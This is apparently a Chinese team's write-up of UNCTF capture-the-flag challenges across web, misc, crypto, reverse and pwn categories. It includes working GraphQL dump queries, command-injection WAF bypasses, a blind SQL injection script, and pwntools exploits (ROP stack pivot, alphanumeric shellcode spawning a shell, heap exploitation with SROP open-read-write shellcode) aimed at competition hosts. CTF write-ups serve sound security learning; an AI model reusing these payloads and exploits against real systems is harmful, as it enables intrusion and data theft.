UNCTF

wp由K&A整理

WEB

简单的备忘录

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL Injection)

工具扫没扫出结果 没得到预期解

这题应该是出题人的疏忽

先看看可用对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
{
__schema {
types {
name
}
}
}
query=
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation
onFragment
onField
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

然后查属性

根据补全和之前的查对象 查数据的时候 查到了flag 写Wp的时候发现是个非预期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
payload如下
query{
  allUsers{
    edges{
      node{
        id
        username
        memos{
          edges{
            node{
              id
              private
              content
              
            }
          }
        }
      }
    }
  }
}

Checkin

捡来的flag:0e4d1980ef6f8a81428f83e8e1c6e22b【运气题】

啊 NodeJS的题 审计源码只是发现了可以操作的步骤而已。。

关键点是在/calc

/calc __dirname这种环境变量会有输出的 但是语句就不行 这可怎么办

嗯 关键点还有NodeJSfs组件

var fs = require('fs');

var contentText = fs.readFileSync('123.txt','utf-8');

然后 执行 calc require('fs').readFileSync('/flag','utf-8');

)@151.hc)

加密的备忘录[未解出]

这题看着和简单的备忘录 并没有多大区别! 上一题的payload这一题继续用

当然 第一步都是 先看看可用对象

1
2
3
4
5
6
7
{
__schema {
types {
name
}
}
}

查出来了这么个东西

到年种成到定过成个他成会为而时方上而到年到年以可为多为而到可对方生而以年为有到成上可我行到他的面为们方爱

这是什么加密??我觉得不是移位,就是乱码。移位没有jio本就算了吧 我试试别的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
query=
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation
onFragment
onField
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

这个payload是查属性的 感觉也很通用 但是怎么利用啊!【摔】

帮赵总征婚

web签到题,F12看见注释中有rockyou,此文件为kali自带的密码

github上下载其源码,拖进BP爆破(随缘出flag)

NSB Reset Password

1 跳转到reset3.html页面,更改密码,由于没有验证,直接通过

2 在登录界面登录得到flag

这道题归为运气题,反正就那么出来了

superwaf

绕过方法

?a=&b=%20%0al\s%20/%0a

payload:

?a=&b=%20%0afi\nd%20/var/%0a

find后直接跟path的时候会遍历目录

访问http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt即可

easyadmin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://101.71.29.5:10049/index.php?file=forget'
result = ''
for x in range(0, 100):
high = 255
low = 0
mid = (low + high) // 2
while high > low:
payload = "1'or if(ascii(substr((password),%d,1))>%d,1,0)#" % (x, mid)
params = {
'username':payload
}
response = requests.post(url, data=params)#,proxies=proxies)
if b'hacker' in response.content:
print("error sql,exit")
exit(0)
if b'ok' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)

密码跑出来是 flag{never_too

用户名admin

登录之后

)OJXJGB3_F1X55%~H6AP1.hc)

emmm 从隐私模式退出来

抓个包康康

不过。。只能在 yes you are admin 这里 成功

改referer就好

flag {never_too_late_to_x}

MISC

亲爱的

道题考的是脑洞。

拿到一个mp3文件,使用mp3steg解出来一个flag,可惜是个假的

尝试去播放发现共1.48min,但是只能播放到1.20min多,放到kali去分离一下,得到一个zip文件,打开发现存在一个加密的jpg文件,暴力破解失败,

之后根据qmusic 2019.7.27 17:47 去搜索,大概翻了1000多条终于找到对应的评论–真的上头 得到密码

拿到一个二次元图片,符合最近赵总的情况(偷笑),图片比较大,修改后缀为zip,之后在image1.png找到flag

Hidden secret

1 附件得到3个文件

2 通过winhex 将文件内容顺序以Hex方式写入,生成一个新的文件

3 通过binwalk -e 文件 得到一个压缩包,使用rar修复,解压出1.jpg和2.txt ,提示1.txt包含在1.jpg中

hint:NTFS

最后一天题目改了,不是很懂鸭

将123的文件加上50 4B

然后将其HEX数据全部放到一个文件中,改后缀zip

解压后得图片,再得压缩包,最后是

K<jslc7b5’gBA&]_5MF!h5+E.@IQ&A%EExEzp\X#9YhiSHV#

是BASE92编码(白费我1块钱)

写脚本得

cca1a567c3145b1801a4f3273342c622

快乐的游戏题

真的是快乐的游戏题呢…. 玩了一下就出来了

flag c783910550de39816d1de0f103b0ae32

6步出结果,这道题真的就是玩。

CRYPTO

666

将附件放到IDA里面进行分析,里面发现有encode,main函数部分,在main函数里面有比较flag的部分,那就先要将字符串通过encode函数反推到原本的字符串里面去。异或对称脚本完事。

补充脚本 嘿嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
key=18
enflag=r'izwhroz""w"v.K".Ni'

flag=""
i=0

while (i<16):
print(chr((ord(enflag[i])^ 18) -6),end="")
print(chr((ord(enflag[i+1]) ^ 18) + 6),end="")
print(chr(ord(enflag[i+2]) ^ 18 ^ 6 ),end="")
i +=3

print(flag)

不仅仅是RSA

里面含有两个wav文件,两个公钥(public1(2).pem),以及一个RSA.py。

首先解决两个wav文件,打开稍微试听一下基本可以确定是摩斯电码。放到在线网站去解(

https://morsecode.scphillips.com/labs/audio-decoder-adaptive/?tdsourcetag=s_pcqq_aiomsg

),发现解出来是c1,c2(估计是flag中间一半划开)

在去解决公钥,使用openssl工具(或者在线解析网站)将公钥里面的e和n算出来,再到大素数在线网站去解决n(得到p,q),再使用RSA求m脚本解出m。

1
2
3
4
5
6
7
8
9
10
11
12
13
import libnum
import gmpy2

n=
e=65537
p = 386123125371923651191219869811293586459
q = 189239861511125143212536989589123569301
assert n==p*q

c=15116717704501623028903918131505510580599561357387431295289012193980554012811
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print libnum.n2s(m)

一句话加密

将附件里面的图片放到winhex里面结尾有一段16进制的数字,那个为n

用c1 得到flag的前半部分,c2得到后半部分

直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import gmpy2

def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')

c = 62501276588435548378091741866858001847904773180843384150570636252430662080263
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,int((p+1)/4),p)
s = pow(c,int((q+1)/4),q)
a = gmpy2.invert(p,q)
b = gmpy2.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n

print n2s(x%n)
print n2s((-x)%n)
print n2s(y%n)
print n2s((-y)%n)

unctf{412a1ed6d21e55191ee5131f266f5178}

REVERSE

奇怪的数组

本题为32位PE文件,无壳无花。有符号表

IDA载入,main函数F5

很明显要求输入格式flag{xxxxx},且xxxxx为32位

下面做16轮判断,v10为v11高位

查看char2hex

要求输入为0-9或a-f,将其转换成hex对应的0-9和a-f

V9为高低位拼接,其实就是将输入分成两位一组,比如输入3a,则v9=0x3a

然后和box比较

box=[ 0xAD,0x46, 0x1E,0x20, 0x3C,0x79, 0x75,0xB3, 0x5E,0x52, 0x79,0x60, 0xCB,0xFE, 0xB0,0x6C]

因此很明显输入是ad461e203c7975b35e527960cbfeb06c即可

easy_Maze

很简单的迷宫

开局push初始迷宫数据

Step0,step1对迷宫做混淆,v5回调,step2输入走迷宫

看到迷宫只要走到右下角数组坐标v5[6][6]即可

IDA直接远程调试,看v5

Ssddwdwdddssaasasaaassddddwdds

PWN

soso easy pwn

栈空间复用,因为开了pie,所以爆破就玩事儿

UNCTF{S0_so_E4zy_Pwn}

脚本一:
auto 爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import binascii
context.log_level = 'debug'

elf = ELF('./x86_libc.so.6')
offset = 12
i = 0

while True:
i += 1
print i
sh = process('./pwn')
#sh = remote('101.71.29.5',10000)
sh.recvuntil('the ')
#sh.recvuntil('\x32')
base = int(sh.recv(5)) << 16
print hex(base)
sh.recvuntil('name?\n')
payload = 'a'*offset
#addr = base + random.sample(list1,1)[0]
payload += p32(base+0x59d6)
sh.send(payload)
sh.recvuntil('(1.hello|2.byebye):\n')
sh.send('0')
try:
sh.recv(timeout = 1)

except Exception as e:
sh.close()
continue
else:
sleep(0.1)
sh.interactive()

脚本二:

穷苦人士,不会写循环,就手工

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
elf = ELF('./x86_libc.so.6')
\#p = process('./pwn')
offset = 12

p = remote('101.71.29.5',10000)
p.recvuntil('our the ')
base_addr = int(p.recv(5)) << 16
print hex(base_addr)
p.recvuntil('name?\n')
payload = 'c'*offset
payload += p32(base+0x69cd)
p.send(payload)
p.recvuntil('byebye):\n')
p.send('0')
p.interactive()

baby rop

好了,栈迁移 + one_gadget!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = process('./babyrop')
sh = remote('101.71.29.5',10041)
elf = ELF('./babyrop')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')

read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = 0x08048592
pop_ret = 0x080483b5
pop3_ret = 0x08048659
leave_ret = 0x08048468
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400

sh.recvuntil('\n')
payload = 'a'*0x20 + p32(1717986918)
sh.sendline(payload)
sh.recvuntil('name?\n')
payload = 'a'*0x14  + p32(puts_plt)+p32(pop_ret) + p32(puts_got) + p32(0x0804853D)
sh.sendline(payload)
addr = u32(sh.recvuntil('\xf7')[-5:])

base = addr - libc.symbols['puts']
system_addr = base + libc.symbols['system']
binsh = base + libc.search('/bin/sh\x00').next()
sleep(0.1)
sh.recvuntil('name?\n')
payload = 'a'*0x10 + p32(0x0804A020) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(0x0804A020) + p32(0x20)
sh.sendline(payload)
sleep(0.1)

payload = p32(0x0804A080)
payload += p32(read_plt)
payload += p32(leave_ret) 
payload += p32(0)
payload += p32(0x0804A080)
payload += p32(40)
sh.sendline(payload.ljust(39-8,'a'))

payload = 'aaaa'
payload += p32(base +0x3a819 )
sh.sendline(payload)

log.success('system =' + hex(system_addr))
log.success('binsh =' + hex(binsh))

sh.interactive()

UNCTF{7ef293810e29039f061982e72fd10bfb}

EasyShellCode

只能说V爷爷太强了,用V爷爷的ae64脚本https://github.com/veritas501/ae64

改一下他现成得exp即可

这题的限制条件也就是base64,只是通过if展示罢了。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'
p = remote('101.71.29.5',10080)
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()))
p.sendline(sc)
p.interactive()
UNCTF{x64_A5c11_shE11c0dE_i5_50_Ea5y}

orwheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
sh = remote('101.71.29.5', 10005)
elf = ELF('pwn')
libc = ELF('./x64_libc.so.6')


def add(size, content):
    sh.sendlineafter('Your Choice: ', '1')
    sh.sendlineafter(': ', str(size))
    sh.sendafter(': ' , content)

def delete(index):
    sh.sendlineafter('Your Choice: ', '2')
    sh.sendlineafter(': ', str(index))

def edit(index, content):
    sh.sendlineafter('Your Choice: ', '3')
    sh.sendlineafter(': ', str(index))
    sh.sendafter(': ' , content)

add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')

delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x55dd))

add(0x68, '\n')
add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n')
sh.recvn(0x88)
libc_addr = u64(sh.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

edit(1, 'b' * 0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + 
libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')

edit(1, 'b' * 0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + 
libc.symbols['__free_hook'] - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 
frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret;    --> rcx
payload = str(frame)
add(0x68, payload[0x80:0x80 + 0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
'''
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret  
'''

print hex(u64(payload[0xa8:0xa8+8]))

edit(1, payload[:0x98])

delete(1)

lo = [
    libc_addr + 0x0000000000021102, #: pop rdi; ret; 
    (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
    libc_addr + 0x00000000000202e8, #: pop rsi; ret; 
    0x2000,
    libc_addr + 0x0000000000001b92, #: pop rdx; ret; 
    7,
    libc_addr + 0x0000000000033544, #: pop rax; ret; 
    10,
    libc_addr + 0x00000000000bc375, #: syscall; ret; 
    libc_addr + 0x0000000000002a71, #: jmp rsp; 
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
sh.send(flat(lo) + shellcode)

sh.interactive()
clear()
相关文章
评论
分享
  • SQL注入(时间盲注)

    了解盲注语法,如何利用盲注获取数据 目标 了解SQL时间盲注 掌握SQL注入语法 掌握SQL注入原理 了解SQL注入常用注释字符 本题使用的工具 sqlmap,hackbar环境 物理机:windows10 虚拟机:kali...

    SQL注入(时间盲注)
  • 实验吧-隐写-欢迎来到地狱

    多重隐写+加密,需要清醒的认识,才能不坠入地狱 实验吧隐写题欢迎来到地狱 解压 访问url,获取一个zip文件,解压发现存在3个文件 分别是jpg,doc,zip 根据文件名去,首先我们去打开第一个文件地狱伊始.jpg 打开提示文...

    实验吧-隐写-欢迎来到地狱
  • 实验吧-逆向工程-debug

    了解函数运行,合适添加断点判断,获取一闪而过的flag 实验吧逆向工程debug 下载文件,然后用idaq打开, 尝试在linux下打开发现么没有返回值, 在idaq里面去查看shift+F12 查看字符串,发现有个pri...

    实验吧-逆向工程-debug
  • 传统知识+古典密码

    多种加密结合,一步一步解密,追寻真理 实验吧密码学传统知识+古典密码 题目 辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳 信的背面还写有“+甲子”,请解出这段密文 key:CTF{} 查一下得到了一份六十甲子顺序表 获取...

    传统知识+古典密码
  • 变异凯撒

    仔细观察凯撒加密,找寻其中的规律 实验吧密码学变异凯撒 凯撒密码 在密码学中,恺撒密码(英语:Caesar cipher),或称恺撒加密、恺撒变换、变换加密,是一种最简单且最广为人知的加密技术。它是一种替换加密的技术,明文中的所有...

    变异凯撒
  • MD5之守株待兔

    实验吧-安全杂项-MD5之守株待兔 ,通过md5加密时间戳获取flag 实验吧安全杂项MD5之守株待兔,你需要找到和系统锁匹配的钥匙做题感受,这个题难道就只能一直刷新等吗,太不亲民了 访问url [http://ctf5.shi...

    MD5之守株待兔
  • ActiveMQ任意文件写入漏洞分析溯源

    墨者学院WEB安全ActiveMQ任意文件写入漏洞分析溯源ActiveMQ 简介ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 w...

    ActiveMQ任意文件写入漏洞分析溯源
  • HCTF2018-warmup-writeup

    BUUCTFwebwarmup这里我直接上代码讲 菜鸡不会php,全是现查 哪里不对,欢迎大佬指点 1234567891011121314151617181920212223242526272829303132333435363738...

    HCTF2018-warmup-writeup
  • 后台登录

    实验吧web后台登录 burp抓包尝试爆破 一般呢,ctf题是不涉及爆破的,因为这样会导致服务器处理压力太大 可以看到这里当我们输入正确的密码后,会返回flag。 那么我们的重点就是获取密码了 寻找密码 尝试了几次弱密码,注入都...

    后台登录
  • 攻防世界-RememberOther

    RememberOther附件下载https://adworld.xctf.org.cn/media/task/attachments/476d9022bb0449c09c0b1e24f0686b66.zip 分析先安装 然后看看逻辑...

    攻防世界-RememberOther
Please check the comment setting in config.yml of hexo-theme-Annie!